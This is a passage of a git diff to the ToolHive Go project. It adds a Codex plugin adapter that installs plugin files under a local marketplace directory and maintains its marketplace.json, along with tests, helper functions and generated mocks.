$REPO_ROOT/.agents/plugins/marketplace.json. ToolHive extracts each plugin's +// source under that marketplace root (namespaced by the "toolhive" marketplace +// name, i.e. /toolhive/) and maintains the marketplace.json so Codex +// can discover it, with a relative "./toolhive/" source per the docs. +// +// Loading the plugin is then a one-time manual step the user runs with the Codex +// CLI (`codex plugin install @toolhive`). ToolHive deliberately does NOT +// shell out to the `codex` binary or write speculative `~/.codex/config.toml` +// enable state: enabling an un-installed plugin doesn't load it, and writing to +// the user's shared config has blast radius for no benefit. The manual step is +// documented in docs/arch/14-plugins-system.md. +// +// See https://developers.openai.com/codex/plugins/build. +type CodexAdapter struct { + cm *client.ClientManager + installer skills.Installer +} + +// NewCodexAdapter returns a CodexAdapter backed by the given ClientManager +// and a production skills.Installer. +func NewCodexAdapter(cm *client.ClientManager) *CodexAdapter { + return &CodexAdapter{ + cm: cm, + installer: skills.NewInstaller(), + } +} + +var codexSupported = []plugins.ComponentType{ + plugins.ComponentSkills, + plugins.ComponentMCP, + plugins.ComponentHooks, +} + +const ( + // codexPluginCategory is the category recorded for ToolHive plugins in the + // Codex marketplace manifest (a required field). + codexPluginCategory = "Productivity" + // codexPolicyInstallation / codexPolicyAuthentication are the marketplace + // entry policy values: the plugin is available and authenticates on install. + codexPolicyInstallation = "AVAILABLE" + codexPolicyAuthentication = "ON_INSTALL" +) + +// codexMarketplaceRoot returns the Codex marketplace root for the given scope: +// the personal ~/.agents/plugins for user scope, or /.agents/plugins +// for project scope. Both are marketplace-discovery paths Codex reads. +func (a *CodexAdapter) codexMarketplaceRoot(scope plugins.Scope, projectRoot string) string { + if scope == plugins.ScopeProject && projectRoot != "" { + return filepath.Join(projectRoot, ".agents", "plugins") + } + return filepath.Join(a.cm.HomeDir(), ".agents", "plugins") +} + +// codexMarketplaceFile returns the marketplace manifest path for a marketplace +// rooted at root: /marketplace.json. +func codexMarketplaceFile(root string) string { + return filepath.Join(root, "marketplace.json") +} + +// codexSourcePath returns the relative "./toolhive/" source path recorded +// in the manifest for a plugin, resolved against the marketplace root. +func codexSourcePath(name string) string { + return "./" + filepath.ToSlash(filepath.Join(marketplaceName, name)) +} + +// Materialize extracts the plugin's source under the Codex marketplace root and +// registers it in the shared marketplace.json. It does not touch config.toml or +// invoke the Codex CLI; the user completes loading with a one-time +// `codex plugin install` (see the package doc). +func (a *CodexAdapter) Materialize(_ context.Context, req plugins.MaterializeRequest) (*plugins.MaterializeResult, error) { + // GetPluginPath returns /toolhive/; it validates the + // name (no traversal) and resolves the scope-specific root. + pluginDir, err := a.cm.GetPluginPath(client.Codex, req.Name, req.Scope, req.ProjectRoot) + if err != nil { + return nil, fmt.Errorf("resolving plugin path: %w", err) + } + + if _, err := a.installer.ExtractPlugin(req.LayerData, pluginDir, true); err != nil { + return nil, fmt.Errorf("extracting plugin: %w", err) + } + + // Register the plugin in the shared marketplace.json at the marketplace root + // so Codex can discover it. + root := a.codexMarketplaceRoot(req.Scope, req.ProjectRoot) + if err := upsertCodexMarketplace(codexMarketplaceFile(root), req.Name); err != nil { + return nil, fmt.Errorf("writing codex marketplace: %w", err) + } + + return &plugins.MaterializeResult{ + InstalledComponents: codexSupported, + DroppedComponents: droppedComponents(req.Components, codexSupported), + InstallPath: pluginDir, + ProjectScopeDegraded: false, + }, nil +} + +// Dematerialize removes the plugin's source directory and its marketplace.json +// entry (deleting the manifest when no plugins remain). +func (a *CodexAdapter) Dematerialize(_ context.Context, req plugins.DematerializeRequest) error { + var errs []error + + pluginDir, err := a.cm.GetPluginPath(client.Codex, req.Name, req.Scope, req.ProjectRoot) + if err != nil { + errs = append(errs, fmt.Errorf("resolving plugin path: %w", err)) + } else { + if rmErr := a.installer.Remove(pluginDir); rmErr != nil { + errs = append(errs, fmt.Errorf("removing plugin directory: %w", rmErr)) + } else { + // Best-effort empty-parent cleanup. + cleanupAfterRemove(pluginDir, req.Scope, req.ProjectRoot, a.cm.HomeDir()) + } + } + + // Remove the plugin from the shared marketplace.json (idempotent). The file + // is deleted once no plugins remain. + root := a.codexMarketplaceRoot(req.Scope, req.ProjectRoot) + if mErr := removeCodexMarketplace(codexMarketplaceFile(root), req.Name); mErr != nil { + errs = append(errs, fmt.Errorf("removing plugin from codex marketplace: %w", mErr)) + } + + if len(errs) > 0 { + return errors.Join(errs...) + } + return nil +} + +// SupportedComponents returns the component types the Codex CLI loads. +func (*CodexAdapter) SupportedComponents() []plugins.ComponentType { + return codexSupported +} + +// ScopeSupport returns no degradation for Codex: user scope uses the personal +// ~/.agents/plugins marketplace and project scope uses the per-repo +// /.agents/plugins marketplace, both of which Codex discovers. +func (*CodexAdapter) ScopeSupport() plugins.ScopeSupport { + return plugins.ScopeSupport{DegradesOnProjectScope: false} +} + +// --- marketplace.json helpers --- + +// codexMarketplace is the Codex marketplace manifest: a top-level name and a +// list of plugin entries. See https://developers.openai.com/codex/plugins/build. +type codexMarketplace struct { + Name string `json:"name"` + Plugins []codexMarketplacePlugin `json:"plugins"` +} + +// codexMarketplacePlugin is a single Codex marketplace entry. +type codexMarketplacePlugin struct { + Name string `json:"name"` + Source codexPluginSource `json:"source"` + Policy codexPluginPolicy `json:"policy"` + Category string `json:"category"` +} + +// codexPluginSource is the local source descriptor for a marketplace entry. Path +// is resolved relative to the marketplace root and starts with "./". +type codexPluginSource struct { + Source string `json:"source"` // "local" + Path string `json:"path"` // "./toolhive/" +} + +// codexPluginPolicy carries the marketplace entry's install/auth policy. +type codexPluginPolicy struct { + Installation string `json:"installation"` // "AVAILABLE" + Authentication string `json:"authentication"` // "ON_INSTALL" +} + +// upsertCodexMarketplace writes/maintains the marketplace.json, adding or +// updating the plugin entry for the toolhive marketplace under a file lock. +func upsertCodexMarketplace(marketplacePath, name string) error { + if err := os.MkdirAll(filepath.Dir(marketplacePath), 0o700); err != nil { + return fmt.Errorf("creating marketplace dir: %w", err) + } + + return fileutils.WithFileLock(marketplacePath, func() error { + mp, err := readCodexMarketplace(marketplacePath) + if err != nil { + return err + } + entry := codexMarketplacePlugin{ + Name: name, + Source: codexPluginSource{ + Source: "local", + Path: codexSourcePath(name), + }, + Policy: codexPluginPolicy{ + Installation: codexPolicyInstallation, + Authentication: codexPolicyAuthentication, + }, + Category: codexPluginCategory, + } + replaced := false + for i := range mp.Plugins { + if mp.Plugins[i].Name == name { + mp.Plugins[i] = entry + replaced = true + break + } + } + if !replaced { + mp.Plugins = append(mp.Plugins, entry) + } + sortCodexMarketplacePlugins(mp.Plugins) + return writeCodexMarketplace(marketplacePath, mp) + }) +} + +// removeCodexMarketplace removes the plugin entry from the marketplace.json. +// When no entries remain, the file is deleted. Idempotent: a missing file or +// missing entry is not an error. +func removeCodexMarketplace(marketplacePath, name string) error { + if _, err := os.Stat(marketplacePath); err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return fmt.Errorf("checking marketplace file: %w", err) + } + + return fileutils.WithFileLock(marketplacePath, func() error { + mp, err := readCodexMarketplace(marketplacePath) + if err != nil { + return err + } + filtered := mp.Plugins[:0] + for _, p := range mp.Plugins { + if p.Name != name { + filtered = append(filtered, p) + } + } + mp.Plugins = filtered + if len(mp.Plugins) == 0 { + if err := os.Remove(marketplacePath); err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("removing marketplace.json: %w", err) + } + return nil + } + return writeCodexMarketplace(marketplacePath, mp) + }) +} + +// readCodexMarketplace reads and parses the marketplace.json, returning a +// freshly-initialized manifest (with name set) when the file is missing or empty. +func readCodexMarketplace(path string) (*codexMarketplace, error) { + mp := &codexMarketplace{Name: marketplaceName} + data, err := os.ReadFile(path) // #nosec G304 -- path is a known tool config file location + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return mp, nil + } + return nil, fmt.Errorf("reading marketplace.json: %w", err) + } + if len(data) == 0 { + return mp, nil + } + if err := json.Unmarshal(data, mp); err != nil { + return nil, fmt.Errorf("parsing marketplace.json: %w", err) + } + if mp.Name == "" { + mp.Name = marketplaceName + } + return mp, nil +} + +// writeCodexMarketplace marshals and atomically writes the marketplace.json. +func writeCodexMarketplace(path string, mp *codexMarketplace) error { + data, err := json.MarshalIndent(mp, "", " ") + if err != nil { + return fmt.Errorf("marshaling marketplace.json: %w", err) + } + return fileutils.AtomicWriteFile(path, data, 0o600) +} + +// sortCodexMarketplacePlugins orders entries by name for a stable manifest. +func sortCodexMarketplacePlugins(ps []codexMarketplacePlugin) { + sort.Slice(ps, func(i, j int) bool { return ps[i].Name < ps[j].Name }) +} diff --git a/pkg/plugins/adapters/codex_test.go b/pkg/plugins/adapters/codex_test.go new file mode 100644 index 0000000000..580a0395bc --- /dev/null +++ b/pkg/plugins/adapters/codex_test.go @@ -0,0 +1,313 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package adapters + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "sort" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + ociskills "github.com/stacklok/toolhive-core/oci/skills" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// codexMarketplaceFile returns the shared marketplace.json path for user scope: +// ~/.agents/plugins/marketplace.json. +func codexUserMarketplaceFile(tempHome string) string { + return filepath.Join(tempHome, ".agents", "plugins", "marketplace.json") +} + +// codexPluginDir returns the plugin source dir for a user-scope plugin: +// ~/.agents/plugins/toolhive/. +func codexPluginDir(tempHome, name string) string { + return filepath.Join(tempHome, ".agents", "plugins", "toolhive", name) +} + +// readCodexMarketplaceFile parses the marketplace.json at path; fails the test +// if it is absent. +func readCodexMarketplaceFileAt(t *testing.T, path string) codexMarketplace { + t.Helper() + b, err := os.ReadFile(path) + require.NoError(t, err, "marketplace.json should exist at %s", path) + var mp codexMarketplace + require.NoError(t, json.Unmarshal(b, &mp)) + return mp +} + +// findCodexPlugin returns the marketplace entry for name, or fails the test. +func findCodexPlugin(t *testing.T, mp codexMarketplace, name string) codexMarketplacePlugin { + t.Helper() + assert.Equal(t, "toolhive", mp.Name, "marketplace name") + for _, p := range mp.Plugins { + if p.Name == name { + return p + } + } + t.Fatalf("plugin %q not found in marketplace %+v", name, mp.Plugins) + return codexMarketplacePlugin{} +} + +func TestCodexAdapter_SupportedComponents(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + got := a.SupportedComponents() + assert.Equal(t, []plugins.ComponentType{ + plugins.ComponentSkills, + plugins.ComponentMCP, + plugins.ComponentHooks, + }, got) +} + +func TestCodexAdapter_MaterializeExtractsAndRegisters(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/useful/SKILL.md", Content: []byte("# useful"), Mode: 0644}, + }) + + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "foo", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"skills": 1}, + }) + require.NoError(t, err) + + // Plugin source is extracted under the marketplace root: + // ~/.agents/plugins/toolhive/foo. + wantDir := codexPluginDir(tempHome, "foo") + assert.Equal(t, wantDir, res.InstallPath) + _, err = os.Stat(filepath.Join(wantDir, "skills", "useful", "SKILL.md")) + require.NoError(t, err) + assert.False(t, res.ProjectScopeDegraded, "user scope must not be degraded") + + // The adapter must NOT touch ~/.codex/config.toml. + _, err = os.Stat(filepath.Join(tempHome, ".codex", "config.toml")) + assert.True(t, os.IsNotExist(err), "config.toml must not be created") + + // The shared marketplace.json must list the plugin with a relative source, + // policy, and category. + mp := readCodexMarketplaceFileAt(t, codexUserMarketplaceFile(tempHome)) + p := findCodexPlugin(t, mp, "foo") + assert.Equal(t, "local", p.Source.Source) + assert.Equal(t, "./toolhive/foo", p.Source.Path, "relative source path inside the marketplace root") + assert.Equal(t, codexPolicyInstallation, p.Policy.Installation) + assert.Equal(t, codexPolicyAuthentication, p.Policy.Authentication) + assert.NotEmpty(t, p.Category, "category is a required field") +} + +func TestCodexAdapter_DematerializeRemovesPluginAndEntry(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/useful/SKILL.md", Content: []byte("# useful"), Mode: 0644}, + }) + + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "foo", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"skills": 1}, + }) + require.NoError(t, err) + + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "foo", Scope: plugins.ScopeUser})) + + // Plugin source dir must be gone. + _, err = os.Stat(codexPluginDir(tempHome, "foo")) + assert.True(t, os.IsNotExist(err), "plugin dir should be gone after dematerialize") + + // The last plugin was removed, so the marketplace.json must be deleted. + _, err = os.Stat(codexUserMarketplaceFile(tempHome)) + assert.True(t, os.IsNotExist(err), "marketplace.json should be deleted after removing the last plugin") +} + +func TestCodexAdapter_DroppedComponentsAllSix(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/x/SKILL.md", Content: []byte("x"), Mode: 0644}, + }) + + // Declare all six component types; Codex drops commands, agents, lspServers. + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "drop-all", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{ + "commands": 1, + "agents": 1, + "skills": 1, + "hooks": 1, + "mcpServers": 1, + "lspServers": 1, + }, + }) + require.NoError(t, err) + + got := append([]plugins.ComponentType(nil), res.DroppedComponents...) + sort.Slice(got, func(i, j int) bool { return got[i] < got[j] }) + assert.Equal(t, []plugins.ComponentType{ + plugins.ComponentAgents, + plugins.ComponentCommands, + plugins.ComponentLSP, + }, got) + + // Clean up so this test leaves no state behind. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "drop-all", Scope: plugins.ScopeUser})) +} + +func TestCodexAdapter_ProjectScopeUsesProjectMarketplace(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/x/SKILL.md", Content: []byte("x"), Mode: 0644}, + }) + + // Project scope writes to /.agents/plugins, a Codex discovery + // path, so it does NOT degrade. + projectRoot := t.TempDir() + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "proj-plugin", + LayerData: layer, + Scope: plugins.ScopeProject, + ProjectRoot: projectRoot, + Components: plugins.ComponentInventory{"skills": 1}, + }) + require.NoError(t, err) + assert.False(t, res.ProjectScopeDegraded, "project scope must not be degraded for codex") + + wantDir := filepath.Join(projectRoot, ".agents", "plugins", "toolhive", "proj-plugin") + assert.Equal(t, wantDir, res.InstallPath) + + // The marketplace must be the project one, not the user one. + projMarketplace := filepath.Join(projectRoot, ".agents", "plugins", "marketplace.json") + mp := readCodexMarketplaceFileAt(t, projMarketplace) + findCodexPlugin(t, mp, "proj-plugin") + _, err = os.Stat(codexUserMarketplaceFile(tempHome)) + assert.True(t, os.IsNotExist(err), "user marketplace.json must not be created for project scope") + + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "proj-plugin", Scope: plugins.ScopeProject, ProjectRoot: projectRoot})) +} + +func TestCodexAdapter_DematerializeIdempotent(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + // Dematerializing something never installed is not an error, and does not + // create a marketplace.json. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "ghost", Scope: plugins.ScopeUser})) + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "ghost", Scope: plugins.ScopeUser})) + + _, err := os.Stat(codexUserMarketplaceFile(tempHome)) + assert.True(t, os.IsNotExist(err), "no marketplace.json should be created by dematerialize") +} + +func TestCodexAdapter_ScopeSupport(t *testing.T) { + t.Parallel() + a := &CodexAdapter{} + ss := a.ScopeSupport() + assert.False(t, ss.DegradesOnProjectScope) + assert.Empty(t, ss.Reason) +} + +// TestCodexAdapter_MarketplaceSurvivesWhenOtherPluginRemains installs two +// plugins, removes one, and asserts the marketplace.json survives; removing the +// second deletes it. +func TestCodexAdapter_MarketplaceSurvivesWhenOtherPluginRemains(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/x/SKILL.md", Content: []byte("x"), Mode: 0644}, + }) + + require.NoError(t, materializeCodex(a, "alpha", layer)) + require.NoError(t, materializeCodex(a, "beta", layer)) + + // Remove alpha: marketplace.json survives because beta remains. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "alpha", Scope: plugins.ScopeUser})) + mp := readCodexMarketplaceFileAt(t, codexUserMarketplaceFile(tempHome)) + findCodexPlugin(t, mp, "beta") + for _, p := range mp.Plugins { + assert.NotEqual(t, "alpha", p.Name, "alpha removed from marketplace") + } + + // Remove beta: marketplace.json is deleted (no plugins left). + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "beta", Scope: plugins.ScopeUser})) + _, err := os.Stat(codexUserMarketplaceFile(tempHome)) + assert.True(t, os.IsNotExist(err), "marketplace.json should be deleted when no plugins remain") +} + +// TestCodexAdapter_NonLifoUninstallKeepsMarketplaceValid installs alpha then +// beta, dematerializes beta (non-LIFO), and asserts alpha remains registered +// with its relative source and alpha's dir is intact. +func TestCodexAdapter_NonLifoUninstallKeepsMarketplaceValid(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/x/SKILL.md", Content: []byte("x"), Mode: 0644}, + }) + + require.NoError(t, materializeCodex(a, "alpha", layer)) + require.NoError(t, materializeCodex(a, "beta", layer)) + + alphaDir := codexPluginDir(tempHome, "alpha") + betaDir := codexPluginDir(tempHome, "beta") + require.DirExists(t, alphaDir) + require.DirExists(t, betaDir) + + // Non-LIFO: beta was installed second but removed first. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "beta", Scope: plugins.ScopeUser})) + + mp := readCodexMarketplaceFileAt(t, codexUserMarketplaceFile(tempHome)) + alpha := findCodexPlugin(t, mp, "alpha") + assert.Equal(t, "./toolhive/alpha", alpha.Source.Path) + for _, p := range mp.Plugins { + assert.NotEqual(t, "beta", p.Name, "beta removed from marketplace") + } + + // alpha's dir survives; beta's is gone. + assert.DirExists(t, alphaDir, "alpha directory still present") + assert.NoDirExists(t, betaDir, "beta directory removed") +} + +// materializeCodex is a small helper to install a named user-scope plugin. +func materializeCodex(a *CodexAdapter, name string, layer []byte) error { + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: name, + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"skills": 1}, + }) + return err +} diff --git a/pkg/plugins/adapters/helpers.go b/pkg/plugins/adapters/helpers.go new file mode 100644 index 0000000000..6c750b0fbc --- /dev/null +++ b/pkg/plugins/adapters/helpers.go @@ -0,0 +1,45 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package adapters + +import ( + "path/filepath" + + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills" +) + +// droppedComponents returns the component types declared in the inventory that +// are not present in the supported set. +func droppedComponents(inv plugins.ComponentInventory, supported []plugins.ComponentType) []plugins.ComponentType { + if inv == nil { + return nil + } + set := make(map[plugins.ComponentType]struct{}, len(supported)) + for _, ct := range supported { + set[ct] = struct{}{} + } + var out []plugins.ComponentType + for key := range inv { + ct := plugins.ComponentType(key) + if _, ok := set[ct]; !ok { + out = append(out, ct) + } + } + return out +} + +// cleanupAfterRemove walks up from dir's parent removing empty directories, +// stopping at the project root (project scope) or home dir (user scope). +// homeDir is taken as a parameter (not os.UserHomeDir) so tests can inject a +// temp home without touching the host filesystem. +func cleanupAfterRemove(dir string, scope plugins.Scope, projectRoot, homeDir string) { + stopAt := projectRoot + if scope == plugins.ScopeUser { + stopAt = homeDir + } + if stopAt != "" { + skills.RemoveEmptyParents(filepath.Dir(dir), stopAt) + } +} diff --git a/pkg/plugins/mocks/mock_adapter.go b/pkg/plugins/mocks/mock_adapter.go new file mode 100644 index 0000000000..3a201e74a4 --- /dev/null +++ b/pkg/plugins/mocks/mock_adapter.go @@ -0,0 +1,99 @@ +// Code generated by MockGen. DO NOT EDIT. +// Source: adapter.go +// +// Generated by this command: +// +// mockgen -destination=mocks/mock_adapter.go -package=mocks -source=adapter.go MaterializationAdapter +// + +// Package mocks is a generated GoMock package. +package mocks + +import ( + context "context" + reflect "reflect" + + plugins "github.com/stacklok/toolhive/pkg/plugins" + gomock "go.uber.org/mock/gomock" +) + +// MockMaterializationAdapter is a mock of MaterializationAdapter interface. +type MockMaterializationAdapter struct { + ctrl *gomock.Controller + recorder *MockMaterializationAdapterMockRecorder + isgomock struct{} +} + +// MockMaterializationAdapterMockRecorder is the mock recorder for MockMaterializationAdapter. +type MockMaterializationAdapterMockRecorder struct { + mock *MockMaterializationAdapter +} + +// NewMockMaterializationAdapter creates a new mock instance. +func NewMockMaterializationAdapter(ctrl *gomock.Controller) *MockMaterializationAdapter { + mock := &MockMaterializationAdapter{ctrl: ctrl} + mock.recorder = &MockMaterializationAdapterMockRecorder{mock} + return mock +} + +// EXPECT returns an object that allows the caller to indicate expected use. +func (m *MockMaterializationAdapter) EXPECT() *MockMaterializationAdapterMockRecorder { + return m.recorder +} + +// Dematerialize mocks base method. +func (m *MockMaterializationAdapter) Dematerialize(ctx context.Context, req plugins.DematerializeRequest) error { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Dematerialize", ctx, req) + ret0, _ := ret[0].(error) + return ret0 +} + +// Dematerialize indicates an expected call of Dematerialize. +func (mr *MockMaterializationAdapterMockRecorder) Dematerialize(ctx, req any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Dematerialize", reflect.TypeOf((*MockMaterializationAdapter)(nil).Dematerialize), ctx, req) +} + +// Materialize mocks base method. +func (m *MockMaterializationAdapter) Materialize(ctx context.Context, req plugins.MaterializeRequest) (*plugins.MaterializeResult, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Materialize", ctx, req) + ret0, _ := ret[0].(*plugins.MaterializeResult) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Materialize indicates an expected call of Materialize. +func (mr *MockMaterializationAdapterMockRecorder) Materialize(ctx, req any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Materialize", reflect.TypeOf((*MockMaterializationAdapter)(nil).Materialize), ctx, req) +} + +// ScopeSupport mocks base method. +func (m *MockMaterializationAdapter) ScopeSupport() plugins.ScopeSupport { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ScopeSupport") + ret0, _ := ret[0].(plugins.ScopeSupport) + return ret0 +} + +// ScopeSupport indicates an expected call of ScopeSupport. +func (mr *MockMaterializationAdapterMockRecorder) ScopeSupport() *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ScopeSupport", reflect.TypeOf((*MockMaterializationAdapter)(nil).ScopeSupport)) +} + +// SupportedComponents mocks base method. +func (m *MockMaterializationAdapter) SupportedComponents() []plugins.ComponentType { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "SupportedComponents") + ret0, _ := ret[0].([]plugins.ComponentType) + return ret0 +} + +// SupportedComponents indicates an expected call of SupportedComponents. +func (mr *MockMaterializationAdapterMockRecorder) SupportedComponents() *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "SupportedComponents", reflect.TypeOf((*MockMaterializationAdapter)(nil).SupportedComponents)) +} diff --git a/pkg/plugins/mocks/mock_service.go b/pkg/plugins/mocks/mock_service.go index 7e7a06da54..dd13d2414c 100644 --- a/pkg/plugins/mocks/mock_service.go +++ b/pkg/plugins/mocks/mock_service.go @@ -85,6 +85,51 @@ func (mr *MockPluginServiceMockRecorder) GetContent(ctx, opts any) *gomock.Call return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetContent", reflect.TypeOf((*MockPluginService)(nil).GetContent), ctx, opts) } +// Info mocks base method. +func (m *MockPluginService) Info(ctx context.Context, opts plugins.InfoOptions) (*plugins.PluginInfo, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Info", ctx, opts) + ret0, _ := ret[0].(*plugins.PluginInfo) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Info indicates an expected call of Info. +func (mr *MockPluginServiceMockRecorder) Info(ctx, opts any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Info", reflect.TypeOf((*MockPluginService)(nil).Info), ctx, opts) +} + +// Install mocks base method. +func (m *MockPluginService) Install(ctx context.Context, opts plugins.InstallOptions) (*plugins.InstallResult, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Install", ctx, opts) + ret0, _ := ret[0].(*plugins.InstallResult) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Install indicates an expected call of Install. +func (mr *MockPluginServiceMockRecorder) Install(ctx, opts any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Install", reflect.TypeOf((*MockPluginService)(nil).Install), ctx, opts) +} + +// List mocks base method. +func (m *MockPluginService) List(ctx context.Context, opts plugins.ListOptions) ([]plugins.InstalledPlugin, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "List", ctx, opts) + ret0, _ := ret[0].([]plugins.InstalledPlugin) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// List indicates an expected call of List. +func (mr *MockPluginServiceMockRecorder) List(ctx, opts any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "List", reflect.TypeOf((*MockPluginService)(nil).List), ctx, opts) +} + // ListBuilds mocks base method. func (m *MockPluginService) ListBuilds(ctx context.Context) ([]plugins.LocalBuild, error) { m.ctrl.T.Helper() @@ -114,6 +159,20 @@ func (mr *MockPluginServiceMockRecorder) Push(ctx, opts any) *gomock.Call { return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Push", reflect.TypeOf((*MockPluginService)(nil).Push), ctx, opts) } +// Uninstall mocks base method. +func (m *MockPluginService) Uninstall(ctx context.Context, opts plugins.UninstallOptions) error { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Uninstall", ctx, opts) + ret0, _ := ret[0].(error) + return ret0 +} + +// Uninstall indicates an expected call of Uninstall. +func (mr *MockPluginServiceMockRecorder) Uninstall(ctx, opts any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Uninstall", reflect.TypeOf((*MockPluginService)(nil).Uninstall), ctx, opts) +} + // Validate mocks base method. func (m *MockPluginService) Validate(ctx context.Context, path string) (*plugins.ValidationResult, error) { m.ctrl.T.Helper() diff --git a/pkg/plugins/options.go b/pkg/plugins/options.go index 01eb3e052e..c02270a7f4 100644 --- a/pkg/plugins/options.go +++ b/pkg/plugins/options.go @@ -33,6 +33,17 @@ type InstallOptions struct { Reference string `json:"-"` // Digest is the OCI digest for upgrade detection. Digest string `json:"-"` + // Components is the plugin's component inventory, hydrated from the OCI + // artifact config by install-from-OCI/git flows. Internal use only. + Components ComponentInventory `json:"-"` + // Dependencies is the plugin's external dependency list, hydrated from the + // OCI artifact config. Internal use only. + Dependencies []Dependency `json:"-"` + // Tag is the OCI tag, hydrated from the resolved reference. Internal use only. + Tag string `json:"-"` + // Description is the plugin description, hydrated from the OCI artifact + // config or git manifest. Internal use only. + Description string `json:"-"` } // InstallResult contains the outcome of an Install operation. @@ -55,6 +66,19 @@ type PluginInfo struct { Metadata PluginMetadata `json:"metadata"` // InstalledPlugin contains the full installation record. InstalledPlugin *InstalledPlugin `json:"installed_plugin,omitempty"` + // UnmaterializedComponents lists, per client type, the component types the + // plugin declares that the installed client adapter does NOT load. Populated + // by Info by diffing InstalledPlugin.Components against each installed + // client adapter's SupportedComponents. + UnmaterializedComponents map[string][]ComponentType `json:"unmaterialized_components,omitempty"` + // ProjectScopeDegradedClients lists the client types for which a + // project-scoped install degraded (the adapter could only materialize at + // user scope — e.g. Codex always writes to the user-scoped config.toml). + // Populated by Info; empty for user-scoped installs. Recomputed at read + // time from the stored scope + each adapter's capability, mirroring the + // UnmaterializedComponents pattern (no persistence needed — the degradation + // is deterministic from scope + client type). + ProjectScopeDegradedClients []string `json:"project_scope_degraded_clients,omitempty"` } // ContentOptions configures the behavior of the GetContent operation. Alias diff --git a/pkg/plugins/parser.go b/pkg/plugins/parser.go index 86fcd166a5..34dc08a6ee 100644 --- a/pkg/plugins/parser.go +++ b/pkg/plugins/parser.go @@ -126,6 +126,14 @@ func ParsePluginManifest(pluginDir string) (*PluginManifest, error) { return parseManifestBytes(content) } +// ParsePluginManifestFromBytes parses manifest 